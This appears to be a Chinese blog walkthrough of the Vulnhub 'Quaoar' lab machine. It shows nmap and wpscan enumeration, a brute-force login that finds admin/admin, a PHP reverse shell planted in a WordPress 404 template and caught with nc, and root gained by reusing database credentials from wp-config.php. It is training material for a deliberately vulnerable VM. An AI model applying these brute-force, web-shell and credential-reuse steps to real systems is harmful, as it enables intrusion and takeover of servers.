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Vulnhub Quaoar靶机解题过程(难度:容易)

时间:2022-10-29 12:11:05浏览次数:85  
标签:00 http 192.168 wordpress Vulnhub 靶机 root Quaoar 56.138

Quaoar

靶机地址:http://www.vulnhub.com/entry/hackfest2016-quaoar,180/

识别目标主机IP地址

(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.65.0/16   |   Screen View: Unique Hosts        

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor           
 192.168.56.100  08:00:27:6b:e4:21      1      60  PCS Systemtechnik GmbH   
 192.168.56.138  08:00:27:2c:ce:d0      1      60  PCS Systemtechnik GmbH

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.138

NMAP 扫描

──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.138 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-28 09:08 EDT
Nmap scan report for bogon (192.168.56.138)
Host is up (0.00013s latency).
Not shown: 65526 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)
|   2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)
|_  256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid: 
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_Hackers
110/tcp open  pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2022-10-28T21:08:34+00:00; +8h00m00s from scanner time.
|_pop3-capabilities: UIDL SASL TOP STLS RESP-CODES CAPA PIPELINING
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2022-10-28T21:08:33+00:00; +8h00m00s from scanner time.
|_imap-capabilities: ENABLE ID IMAP4rev1 listed capabilities have LITERAL+ post-login Pre-login STARTTLS LOGIN-REFERRALS IDLE LOGINDISABLEDA0001 OK SASL-IR more
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_ssl-date: 2022-10-28T21:08:33+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_imap-capabilities: ENABLE IMAP4rev1 listed capabilities AUTH=PLAINA0001 LITERAL+ have post-login ID LOGIN-REFERRALS IDLE OK Pre-login SASL-IR more
995/tcp open  ssl/pop3    Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2022-10-28T21:08:33+00:00; +7h59m59s from scanner time.
|_pop3-capabilities: UIDL SASL(PLAIN) TOP USER RESP-CODES CAPA PIPELINING
MAC Address: 08:00:27:2C:CE:D0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 8h39m59s, deviation: 1h37m58s, median: 7h59m58s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-10-28T17:08:24-04:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.09 seconds

目标主机开放的端口比较多,依次对开放的端口进行访问,以设法获取目标主机的shell,即Gain Access.

Gain Access

─$ searchsploit openssh 5.9                                   
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration   | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration ( | linux/remote/45210.py
OpenSSH < 6.6 SFTP (x64) - Command Executi | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution     | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Di | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary L | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)       | linux/remote/45939.py
------------------------------------------- ---------------------------------
Shellcodes: No Results

虽然openssh的版本貌似比较低,但是用searchspoit工具查询并没有可以利用的漏洞。

暂时跳过DNS服务。

利用浏览器访问目标主机,发现有个链接,链接到一张图片,将其下载到本地

─(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ steghide extract -sf Hack_The_Planet.jpg 
Enter passphrase: 

─(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ stegseek Hack_The_Planet.jpg /usr/share/wordlists/rockyou.txt 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.28% (132.5 MB)           
[!] error: Could not find a valid passphrase.

破解图片的密码失败,只能尝试其他的途径。

查看目标主机web站点是否有robots.txt文件,该文件直接告诉我们有目标有wordpress站点。

─(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ curl http://192.168.56.138/robots.txt
Disallow: Hackers
Allow: /wordpress/

发现了/wordpress目录

既然是wordpress站点,就肯定要用到wpscan工具,看是否可以扫描出用户名和有漏洞的插件。

─(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ wpscan --url http://192.168.56.138/wordpress/ -e u,ap
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://192.168.56.138/wordpress/ [192.168.56.138]
[+] Started: Fri Oct 28 23:11:57 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.2.22 (Ubuntu)
 |  - X-Powered-By: PHP/5.3.10-1ubuntu3
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.56.138/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.56.138/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.56.138/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.56.138/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.56.138/wordpress/?feed=rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
 |  - http://192.168.56.138/wordpress/?feed=comments-rss2, <generator>http://wordpress.org/?v=3.9.14</generator>

[+] WordPress theme in use: twentyfourteen
 | Location: http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/
 | Last Updated: 2022-05-24T00:00:00.000Z
 | [!] The version is out of date, the latest version is 3.4
 | Style URL: http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
 | Style Name: Twenty Fourteen
 | Style URI: http://wordpress.org/themes/twentyfourteen
 | Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] mail-masta
 | Location: http://192.168.56.138/wordpress/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.56.138/wordpress/wp-content/plugins/mail-masta/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wpuser
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Oct 28 23:12:01 2022
[+] Requests Done: 77
[+] Cached Requests: 6
[+] Data Sent: 19.364 KB
[+] Data Received: 19.369 MB
[+] Memory used: 235.52 MB
[+] Elapsed time: 00:00:04

陈宫发现了wordpress的用户名: admin 与wpuser,那看一下是否可以破解管理员admin的密码:

──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ wpscan --url http://192.168.56.138/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.138/wordpress/ [192.168.56.138]
[+] Started: Fri Oct 28 23:13:42 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.2.22 (Ubuntu)
 |  - X-Powered-By: PHP/5.3.10-1ubuntu3
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.56.138/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.56.138/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.56.138/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.56.138/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.56.138/wordpress/?feed=rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
 |  - http://192.168.56.138/wordpress/?feed=comments-rss2, <generator>http://wordpress.org/?v=3.9.14</generator>

[+] WordPress theme in use: twentyfourteen
 | Location: http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/
 | Last Updated: 2022-05-24T00:00:00.000Z
 | [!] The version is out of date, the latest version is 3.4
 | Style URL: http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
 | Style Name: Twenty Fourteen
 | Style URI: http://wordpress.org/themes/twentyfourteen
 | Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] mail-masta
 | Location: http://192.168.56.138/wordpress/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.56.138/wordpress/wp-content/plugins/mail-masta/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <> (105 / 137) 76.64%  ETA: 00:00:0 Checking Config Backups - Time: 00:00:00 <> (120 / 137) 87.59%  ETA: 00:00:0 Checking Config Backups - Time: 00:00:00 <> (136 / 137) 99.27%  ETA: 00:00:0 Checking Config Backups - Time: 00:00:00 <> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - admin / admin                                                    
All Found                                                                    
Progress Time: 00:01:01 <                > (40 / 28688)  0.13%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: admin

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Oct 28 23:14:48 2022
[+] Requests Done: 183
[+] Cached Requests: 41
[+] Data Sent: 52.911 KB
[+] Data Received: 4.132 MB
[+] Memory used: 317.59 MB
[+] Elapsed time: 00:01:06

成功破解了admin的密码: admin

用破解得到的用户名和密码登录wordpress管理后台,看是否可以上传php 反向shell文件(从网上下载php reverse shell脚本,并修改反弹的地址和端口):

─(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ cp ~/Tools/php_reverse_shell/php-reverse-shell-1.0/php-reverse-shell.php .
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ ls
Hack_The_Planet.jpg  nmap_full_scan  php-reverse-shell.php
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ mv php-reverse-shell.php shell.php
                                                                             
┌──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ vim shell.php 

首先尝试php shell文件上传点: media

提示上传失败,看来存在某种过滤,看一下其他的上传点:

尝试Appearance->Editor->Templates 修改404模板:

成功修改该页面,然后访问404页面(http://192.168.56.138/wordpress/wp-content/themes/twentyfourteen/404.php),成功拿到shell

──(kali㉿kali)-[~/Vulnhub/Quaoar]
└─$ sudo nc -nlvp 5555
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.137] from (UNKNOWN) [192.168.56.138] 34393
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
 07:46:18 up  1:13,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")
> '
www-data@Quaoar:/$ 

www-data@Quaoar:/$ cd /home/wpadmin
cd /home/wpadmin
www-data@Quaoar:/home/wpadmin$ ls -alh
ls -alh
total 12K
drwxr-xr-x 2 root    root    4.0K Oct 22  2016 .
drwxr-xr-x 3 root    root    4.0K Oct 24  2016 ..
-rw-r--r-- 1 wpadmin wpadmin   33 Oct 22  2016 flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
cat flag.txt
2bafe61f03117ac66a73c3c514de796e
www-data@Quaoar:/home/wpadmin$ 

Root提权

在目标主机wordpress目录下有wp-config.php文件,其中包含了root用户名以及密码

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

虽然是数据库的credentials,但是可以尝试一下是否是操作系统的用户名与密码

www-data@Quaoar:/var/www/wordpress$ su - root
su - root
Password: rootpassword!

root@Quaoar:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Quaoar:~# ls -alh
ls -alh
total 48K
drwx------  6 root root 4.0K Nov 30  2016 .
drwxr-xr-x 22 root root 4.0K Oct  7  2016 ..
drwx------  2 root root 4.0K Oct  7  2016 .aptitude
-rw-------  1 root root  368 Jan 15  2017 .bash_history
-rw-r--r--  1 root root 3.1K Apr 19  2012 .bashrc
drwx------  2 root root 4.0K Oct 15  2016 .cache
----------  1 root root   33 Oct 22  2016 flag.txt
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
drwx------  2 root root 4.0K Oct 26  2016 .ssh
-rw-------  1 root root 4.7K Nov 30  2016 .viminfo
drwxr-xr-x  8 root root 4.0K Jan 29  2015 vmware-tools-distrib
root@Quaoar:~# cat flag.txt
cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb

成功拿到root

标签:00,http,192.168,wordpress,Vulnhub,靶机,root,Quaoar,56.138
From: https://www.cnblogs.com/jason-huawen/p/16838451.html

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